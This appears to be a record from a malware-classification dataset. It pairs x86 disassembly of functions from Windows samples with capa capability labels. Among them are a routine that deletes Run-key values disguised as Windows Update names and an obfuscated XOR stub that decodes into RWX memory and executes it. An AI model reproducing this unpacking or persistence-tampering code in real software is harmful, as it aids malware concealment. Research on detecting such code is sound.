joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4010a0
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call section..text
movzx eax, al
test eax, eax
je 0x40122d
mov dword [ebp - 4], 0
mov dword [ebp - 0x70], str.Windows_Update_39405
mov dword [ebp - 0x6c], str.Windows_Upgrade_Manager
mov dword [ebp - 0x68], str.Microsoft_Windows_Driver
mov dword [ebp - 0x64], str.Microsoft_Windows_Services
mov dword [ebp - 0x60], str.Microsoft_Windows_Service
mov dword [ebp - 0x5c], str.Microsoft_Windows_Update_Service
mov dword [ebp - 0x58], str.Host_Process_for_Windows_Services
mov dword [ebp - 0x54], str.Microsoft_Windows_Manager
mov dword [ebp - 0x50], str.Desktop_Window_Manager
mov dword [ebp - 0x4c], str.WinCfgMgr
mov dword [ebp - 0x48], str.Windows_Update_Service_Manager
mov dword [ebp - 0x44], str.Microsoft_Windows_Update_Services
mov dword [ebp - 0x40], str.Microsoft_Update_495036
mov dword [ebp - 0x3c], str.Windows_Update_7080607400
mov dword [ebp - 0x38], str.Windows_Update_49400405050
mov dword [ebp - 0x34], str.Windows_Update_75849348
mov dword [ebp - 0x30], str.Windows_Update_46363463464
mov dword [ebp - 0x2c], str.Windows_Update_4849939394
mov dword [ebp - 0x28], str.Windows_Update_4859540300
mov dword [ebp - 0x24], str.Windows_Update_362646246
mov dword [ebp - 0x20], str.Windows_Update_495006960
mov dword [ebp - 0x1c], str.Windows_Update_8970679586
mov dword [ebp - 0x18], str.Microsoft_Windows_Service_Installer
mov dword [ebp - 0x14], str.Microsoft_Windows_Driver_Configuration
mov dword [ebp - 0x10], str.Microsoft_Windows_Installer_Svc
mov dword [ebp - 0xc], str.Windows_Security_Manager
lea ecx, [ebp - 4]
push ecx
push 2
push 0
push 0x402778
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4011d0
mov dword [ebp - 0x74], 0
jmp 0x4011ac
mov edx, dword [ebp - 0x74]
add edx, 1
mov dword [ebp - 0x74], edx
cmp dword [ebp - 0x74], 0x1a
jae 0x4011c6
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp + eax*4 - 0x70]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
jmp 0x4011a3
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 4]
push ecx
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40122d
mov dword [ebp - 0x78], 0
jmp 0x401209
mov edx, dword [ebp - 0x78]
add edx, 1
mov dword [ebp - 0x78], edx
cmp dword [ebp - 0x78], 0x1a
jae 0x401223
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp + eax*4 - 0x70]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
jmp 0x401200
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x406753
Capabilities:
Encode data using xor

Disassembly:
adc byte [edx], ch
push edi
push edx
mov dword [esi + 8], eax
mov dword [edx + 0xc], esi
fsubr dword [ebp + 6]
inc esi
or byte [ecx + 0x6dd80c72], cl
push es
add byte [eax], al
mov eax, dword [esi + 0x1e]
push 0
pop esp
push eax
call fcn.00406dd0
add dword [eax + ebx - 0x3ceee4a1], 0xffffff90
nop
nop
nop
mov byte [eax - 0x6f6f6f70], dl
push ebp
mov edx, dword [esi - 0x51]
mov esi, dword [eax + 0xc]
push esi
push edi
push 0xffffffffffffffb2
push ebx
call 0xff8349bc
mov esi, dword [ebp + 8]
mov edi, eax
xor esp, dword [ecx]
mov edx, edi
mov ecx, 0x14
push 0x38
rep stosd dword es:[edi], eax
loop 0x406759
mov dword [edx], ebx
mov eax, dword [esi]
mov ebx, dword [ebx]
push ecx
call fcn.00404a60
mov edi, eax
invalid
Function at 0x40693f
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40697e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40697e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40697e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40697e
cmp dword [ecx + 0x74], 0xe
jbe 0x40697e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x409484
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x409521
push ebx
push esi
call fcn.0040944d
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00408052
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4094ce
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x409520
push edi
push eax
call fcn.004080f8
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4094ee
call fcn.004080be
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40951f
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00408052
add esp, 0x20
test eax, eax
jne 0x40950d
push edi
call fcn.004080be
jmp 0x409515
push ebx
call fcn.004080be
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x40a3cf
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x412000
push 0x411ff8
push str.FlsAlloc
push 0x1f
call fcn.0040a2eb
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40a403
push dword [ebp + 8]
mov ecx, esi
call dword [0x410124]
call esi
jmp 0x40a409
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40a44d
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x412010
push 0x412008
push str.FlsGetValue
push 0x21
call fcn.0040a2eb
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40a484
push dword [ebp + 8]
mov ecx, esi
call dword [0x410124]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40a48c
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x412018
push 0x412010
push str.FlsSetValue
push 0x22
call fcn.0040a2eb
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40a4c6
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x410124]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1000cb9e
Capabilities:
Accept command line arguments

Disassembly:
mov eax, dword [esp + 8]
xor ecx, ecx
inc ecx
cmp eax, ecx
push esi
push edi
jne 0x1000ccc0
mov edi, dword [sym.imp.kernel32.dll_GetProcessHeap]
push 0x94
push 0
call edi
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x1000cd3c
push esi
mov dword [esi], 0x94
call dword [sym.imp.kernel32.dll_GetVersionExA]
test eax, eax
push esi
push 0
jne 0x1000cbf1
call edi
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1000cd3c
mov eax, dword [esi + 0x10]
mov dword [0x1005d594], eax
mov eax, dword [esi + 4]
mov dword [0x1005d5a0], eax
mov eax, dword [esi + 8]
mov dword [0x1005d5a4], eax
mov eax, dword [esi + 0xc]
and eax, 0x7fff
mov dword [0x1005d598], eax
call edi
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
cmp dword [0x1005d594], 2
je 0x1000cc32
or dword [0x1005d598], 0x8000
mov eax, dword [0x1005d5a0]
shl eax, 8
add eax, dword [0x1005d5a4]
push 1
mov dword [0x1005d59c], eax
call fcn.10013a9e
test eax, eax
pop ecx
je 0x1000cd3c
call fcn.100156b3
test eax, eax
jne 0x1000cc68
call fcn.10013aef
jmp 0x1000cd3c
call fcn.10016051
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x1005f380], eax
call fcn.10015f2a
mov dword [0x1005d580], eax
call fcn.100159a0
test eax, eax
jl 0x1000ccb9
call fcn.10026178
test eax, eax
jl 0x1000ccb4
call fcn.10015c26
test eax, eax
jl 0x1000ccb4
push 0
call fcn.1000d125
test eax, eax
pop ecx
jne 0x1000ccb4
inc dword [0x1005d57c]
jmp 0x1000cd4c
call fcn.10015bda
call fcn.1001544b
jmp 0x1000cc5e
xor edi, edi
cmp eax, edi
jne 0x1000ccf8
cmp dword [0x1005d57c], edi
jle 0x1000cd3c
dec dword [0x1005d57c]
cmp dword [0x1005d5d0], edi
jne 0x1000cce1
call fcn.1000d267
cmp dword [esp + 0x14], edi
jne 0x1000cd4c
call fcn.10015bda
call fcn.1001544b
call fcn.10013aef
jmp 0x1000cd4c
cmp eax, 2
jne 0x1000cd40
mov edx, 0x20c
call fcn.1001590e
mov esi, eax
cmp esi, edi
je 0x1000cd3c
push esi
push dword [0x1005a858]
call dword [0x1005dab0]
test eax, eax
je 0x1000cd35
push edi
push esi
call fcn.10015468
pop ecx
pop ecx
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
or dword [esi + 4], 0xffffffff
mov dword [esi], eax
jmp 0x1000cd4c
push esi
call fcn.1000c295
pop ecx
xor eax, eax
jmp 0x1000cd4f
cmp eax, 3
jne 0x1000cd4c
push edi
call fcn.10015678
pop ecx
xor eax, eax
inc eax
pop edi
pop esi
ret 0xc

Function at 0x1000cef6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1005a214]
jne 0x1000ceff
ret
jmp fcn.10016d59
Function at 0x10026178
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x10026187
pop dword [ebp - 0x40]
mov eax, 0x49504666
add eax, 0xc6b21b21
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x3f43c
push 0
mov eax, 0xa5e0c90a
add eax, 0x6a23d8c2
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0x7c0a9e7e
sub ecx, 0x7c0a4f40
mov esi, eax
mov edx, 0x1126e976
sub edx, 0x1208976
add edx, dword [ebp - 0x40]
mov ebx, 0x7f9355bc
xor dword [ebp - 0x28], ecx
mov edi, dword [edx]
add dword [ebp - 8], 0xd548662d
xor edi, ebx
add dword [ebp - 0x34], 0x645d6868
mov dword [esi], edi
sub dword [ebp - 0x28], edx
add esi, 0xbe1f6043
sub esi, 0xbe1f603f
add edx, 0xe703e97f
add edx, 0x18fc1685
loop 0x100261e0
add eax, 0x12fcb
mov ebx, eax
add eax, 5
mov ecx, 0xdfddbacd
add ecx, 0x30224533
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x1002e364
Capabilities:
Get geographical location

Disassembly:
push 0x1c
push 0x10056610
call fcn.1001096c
mov eax, dword [0x1005a214]
xor eax, ebp
mov dword [ebp - 0x1c], eax
xor edi, edi
xor ebx, ebx
inc ebx
cmp dword [0x1005dd64], edi
jne 0x1002e3b2
push edi
push edi
push ebx
push edi
call dword [sym.imp.kernel32.dll_GetLocaleInfoW]
test eax, eax
je 0x1002e39d
mov dword [0x1005dd64], ebx
jmp 0x1002e3b2
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x78
jne 0x1002e3b2
mov dword [0x1005dd64], 2
mov eax, dword [0x1005dd64]
cmp eax, ebx
jne 0x1002e3d2
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.kernel32.dll_GetLocaleInfoW]
jmp 0x1002e494
cmp eax, 2
je 0x1002e3db
cmp eax, edi
jne 0x1002e406
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x28], edi
cmp dword [ebp + 0x1c], edi
jne 0x1002e3f1
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp + 0x1c], eax
push edi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
mov dword [ebp - 0x24], eax
cmp eax, edi
jne 0x1002e40d
xor eax, eax
jmp 0x1002e494
mov dword [ebp - 4], edi
call fcn.100109c0
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [ebp - 0x2c], esi
or dword [ebp - 4], 0xffffffff
jmp 0x1002e43d
cmp esi, edi
jne 0x1002e452
mov ecx, dword [ebp - 0x24]
call fcn.100158cd
mov esi, eax
cmp esi, edi
je 0x1002e406
mov dword [ebp - 0x28], ebx
push dword [ebp - 0x24]
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
test eax, eax
je 0x1002e485
cmp dword [ebp + 0x18], edi
jne 0x1002e46f
push edi
push edi
jmp 0x1002e475
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push 0xffffffffffffffff
push esi
push ebx
push dword [ebp + 0x1c]
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x28], edi
je 0x1002e491
push esi
call fcn.1000c295
pop ecx
mov eax, dword [ebp - 0x20]
lea esp, [ebp - 0x38]
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1000cef6
call fcn.100109a7
ret
Function at 0x10030a7d
Capabilities:
Check os version
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x100491fd
call fcn.1000cf04
sub esp, 0xa4
mov eax, dword [0x1005a214]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov dword [ebp - 0xac], eax
mov eax, dword [ebp + 0x18]
push edi
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp + 0x1c]
push eax
mov esi, ecx
xor edi, edi
push edi
mov dword [ebp - 0xb0], esi
call fcn.1003bc71
lea ecx, [esi + 0x7c]
mov dword [esi], vtable.CFileDialog.0
call fcn.10003c41
mov ebx, dword [ebp + 0x20]
cmp ebx, edi
mov dword [ebp - 4], 1
jne 0x10030b1e
mov ebx, 0x94
push ebx
lea eax, [ebp - 0xa4]
push edi
push eax
call fcn.1000daa0
add esp, 0xc
lea eax, [ebp - 0xa4]
push eax
mov dword [ebp - 0xa4], ebx
call dword [sym.imp.kernel32.dll_GetVersionExA]
cmp dword [ebp - 0x94], 2
jne 0x10030b1b
cmp dword [ebp - 0xa0], 5
jb 0x10030b1b
push 0x58
jmp 0x10030b1d
push 0x4c
pop ebx
push ebx
call fcn.1000c1d2
cmp eax, edi
pop ecx
mov dword [esi + 0x74], eax
jne 0x10030b31
call fcn.10026178
push ebx
push edi
push eax
call fcn.1000daa0
and dword [esi + 0x1c4], 0
mov eax, dword [ebp + 8]
mov dword [esi + 0x78], eax
mov edx, dword [ebp + 0xc]
add esp, 0xc
neg eax
sbb eax, eax
add eax, 0x7005
mov dword [esi + 0x54], eax
mov eax, dword [esi + 0x74]
lea ecx, [esi + 0x80]
mov byte [ecx], 0
lea edi, [esi + 0xc0]
mov byte [edi], 0
mov dword [eax], ebx
mov eax, dword [esi + 0x74]
mov dword [eax + 0x1c], edi
mov eax, dword [esi + 0x74]
mov ebx, 0x104
mov dword [eax + 0x20], ebx
mov eax, dword [esi + 0x74]
mov dword [eax + 0x3c], edx
mov eax, dword [esi + 0x74]
mov edx, dword [ebp + 0x14]
mov dword [eax + 0x24], ecx
mov eax, dword [esi + 0x74]
push 0x40
pop ecx
mov dword [eax + 0x28], ecx
mov eax, dword [esi + 0x74]
or edx, 0x80020
or dword [eax + 0x34], edx
test byte [ebp + 0x14], cl
je 0x10030bb3
mov eax, dword [esi + 0x74]
and dword [eax + 0x34], 0xff7fffff
call fcn.10044c5a
cmp dword [ebp - 0xac], 0
mov eax, dword [eax + 0xc]
mov ecx, dword [esi + 0x74]
mov dword [ecx + 8], eax
mov eax, dword [esi + 0x74]
mov dword [eax + 0x44], 0x10031248
je 0x10030be2
push ebx
push dword [ebp - 0xac]
push edi
call dword [sym.imp.kernel32.dll_lstrcpynA]
cmp dword [ebp - 0xa8], 0
je 0x10030c21
push dword [ebp - 0xa8]
lea edi, [esi + 0x7c]
mov ecx, edi
call fcn.10003da8
push 0
mov ecx, edi
call fcn.10003c5f
jmp 0x10030c0a
mov byte [eax], 0
inc eax
push 0x7c
push eax
call fcn.10010c9d
test eax, eax
pop ecx
pop ecx
jne 0x10030c06
mov eax, dword [esi + 0x74]
mov ecx, dword [esi + 0x7c]
mov dword [eax + 0xc], ecx
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000cef6
leave
ret 0x1c
Function at 0x10038681
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x100386ba
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.10005ee6
push eax
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.10003f1e
pop esi
ret 4
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
pop esi
jmp dword [eax + 0x8c]

Function at 0x10039ec9
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x14], edi
mov ebp, ecx
je 0x10039f0c
call fcn.10044c5a
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.kernel32.dll_FindResourceA]
test eax, eax
je 0x10039f0c
push eax
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x10039f27
push edi
call dword [sym.imp.kernel32.dll_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.10026178
test ebx, ebx
mov esi, eax
je 0x10039f25
test edi, edi
je 0x10039f25
push edi
call dword [sym.imp.kernel32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x1003a83c
Capabilities:
Get disk information

Disassembly:
mov eax, 0x10048db3
call fcn.1000cf04
sub esp, 0x154
mov eax, dword [0x1005a214]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x1003a867
test ebx, ebx
jne 0x1003a86c
call fcn.10026178
lea eax, [ebp - 0x158]
push eax
push edi
mov esi, 0x104
push esi
push ebx
call dword [sym.imp.kernel32.dll_GetFullPathNameA]
test eax, eax
jne 0x1003a893
push esi
push ebx
push edi
call dword [sym.imp.kernel32.dll_lstrcpynA]
jmp 0x1003a9a6
cmp eax, esi
jae 0x1003a9a6
call fcn.10034457
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [ebp - 0x154], eax
and dword [ebp - 4], 0
lea eax, [ebp - 0x154]
push eax
push edi
call fcn.1003a6cc
push dword [ebp - 0x154]
call dword [sym.imp.SHLWAPI.dll_PathIsUNCA]
test eax, eax
jne 0x1003a96c
push eax
push eax
lea ecx, [ebp - 0x15c]
push ecx
lea ecx, [ebp - 0x160]
push ecx
push eax
push eax
push eax
push dword [ebp - 0x154]
call dword [sym.imp.kernel32.dll_GetVolumeInformationA]
test eax, eax
je 0x1003a998
test byte [ebp - 0x15c], 2
jne 0x1003a90c
push edi
call dword [sym.imp.USER32.dll_CharUpperA]
test byte [ebp - 0x15c], 4
jne 0x1003a96c
lea eax, [ebp - 0x150]
push eax
push ebx
call dword [sym.imp.kernel32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x1003a96c
push eax
call dword [sym.imp.kernel32.dll_FindClose]
cmp dword [ebp - 0x158], 0
je 0x1003a998
cmp dword [ebp - 0x158], edi
jbe 0x1003a998
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.kernel32.dll_lstrlenA]
sub eax, edi
add eax, dword [ebp - 0x158]
cmp eax, esi
jge 0x1003a998
lea eax, [ebp - 0x124]
push eax
push dword [ebp - 0x158]
call dword [sym.imp.kernel32.dll_lstrcpyA]
mov ecx, dword [ebp - 0x154]
add ecx, 0xfffffff0
call fcn.1000398e
xor eax, eax
inc eax
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop esi
xor ecx, ebp
pop ebx
call fcn.1000cef6
leave
ret 8
mov ecx, dword [ebp - 0x154]
add ecx, 0xfffffff0
call fcn.1000398e
xor eax, eax
jmp 0x1003a97d
Function at 0x1003ade2
Capabilities:
Get file system object information

Disassembly:
mov eax, 0x10048e14
call fcn.1000cf04
sub esp, 0x174
mov eax, dword [0x1005a214]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 0x10]
xor ebx, ebx
push edi
mov edi, dword [ebp + 8]
cmp edi, ebx
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], ebx
mov byte [esi], bl
je 0x1003af53
push 0x800
push 0x160
lea ecx, [ebp - 0x170]
push ecx
push ebx
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
test eax, eax
je 0x1003af53
test dword [ebp - 0x168], 0x10000
je 0x1003af53
lea eax, [ebp - 0x174]
push eax
push 0x1004c75c
push ebx
push 0x1004c76c
lea ecx, [ebp - 0x17d]
call fcn.10026178
test eax, eax
jl 0x1003af53
mov eax, dword [ebp - 0x174]
cmp eax, ebx
je 0x1003af53
lea edx, [ebp - 0x17c]
push edx
push 0x10051b58
mov dword [ebp - 0x17c], ebx
mov ecx, dword [eax]
push eax
call dword [ecx]
test eax, eax
jl 0x1003af47
push dword [ebp - 0x178]
lea ecx, [ebp - 0x178]
call fcn.100048d7
mov eax, dword [ebp - 0x17c]
cmp eax, ebx
mov dword [ebp - 4], ebx
je 0x1003af35
mov ecx, dword [eax]
push ebx
push dword [ebp - 0x178]
push eax
call dword [ecx + 0x14]
test eax, eax
jl 0x1003af25
mov edi, dword [edi + 0x20]
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
push 2
push edi
push eax
call dword [ecx + 0x4c]
test eax, eax
jl 0x1003af25
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
push ebx
push ebx
push dword [ebp + 0x14]
push esi
push eax
call dword [ecx + 0xc]
mov eax, dword [ebp - 0x17c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [ebp - 0x178]
add ecx, 0xfffffff0
call fcn.1000398e
xor eax, eax
inc eax
jmp 0x1003af55
mov eax, dword [ebp - 0x17c]
cmp eax, ebx
je 0x1003af35
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [ebp - 0x178]
or dword [ebp - 4], 0xffffffff
add ecx, 0xfffffff0
call fcn.1000398e
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop esi
xor ecx, ebp
pop ebx
call fcn.1000cef6
leave
ret 0x10
Function at 0x1003c323
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x100491b7
call fcn.1000cf04
sub esp, 0x24
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 0x60]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi + 0x5c]
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], eax
call fcn.10044c5a
mov edi, dword [eax + 0xc]
xor ebx, ebx
cmp dword [esi + 0x58], ebx
je 0x1003c375
call fcn.10044c5a
mov edi, dword [eax + 0xc]
push 5
push dword [esi + 0x58]
push edi
call dword [sym.imp.kernel32.dll_FindResourceA]
push eax
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
je 0x1003c386
push dword [ebp - 0x18]
call dword [sym.imp.kernel32.dll_LockResource]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jne 0x1003c393
or eax, 0xffffffff
jmp 0x1003c4e7
mov ecx, esi
call fcn.1003be61
mov dword [ebp - 0x14], eax
call fcn.10037759
and dword [ebp - 0x28], ebx
cmp dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x24], ebx
je 0x1003c411
call dword [sym.imp.USER32.dll_GetDesktopWindow]
cmp dword [ebp - 0x14], eax
je 0x1003c411
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x1003c411
push 0
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x2c], 1
call fcn.100039c8
mov ebx, eax
test ebx, ebx
mov dword [ebp - 0x24], ebx
je 0x1003c411
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x120]
test eax, eax
je 0x1003c411
mov ecx, ebx
call fcn.10034974
test eax, eax
je 0x1003c411
push 0
mov ecx, ebx
call fcn.1003498f
mov dword [ebp - 0x28], 1
and dword [ebp - 4], 0
push esi
call fcn.100391cc
push dword [ebp - 0x14]
call fcn.100376b1
push edi
push eax
push dword [ebp - 0x1c]
mov ecx, esi
call fcn.1003c114
xor edi, edi
cmp eax, edi
je 0x1003c46e
test byte [esi + 0x3c], 0x10
je 0x1003c458
push 4
pop edi
mov ecx, esi
call fcn.1003480e
test ax, 0x100
je 0x1003c44e
push 5
pop edi
push edi
mov ecx, esi
call fcn.100370f8
xor edi, edi
cmp dword [esi + 0x20], edi
je 0x1003c46e
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.10026178
or dword [ebp - 4], 0xffffffff
jmp 0x1003c491
cmp dword [ebp - 0x28], edi
je 0x1003c49f
push 1
mov ecx, ebx
call fcn.1003498f
cmp dword [ebp - 0x2c], edi
je 0x1003c4af
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x1003c4c8
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x20]
jne 0x1003c4c8
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x60]
mov ecx, esi
call fcn.1003be9b
cmp dword [esi + 0x58], edi
je 0x1003c4e4
push dword [ebp - 0x18]
call dword [sym.imp.kernel32.dll_FreeResource]
mov eax, dword [esi + 0x44]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret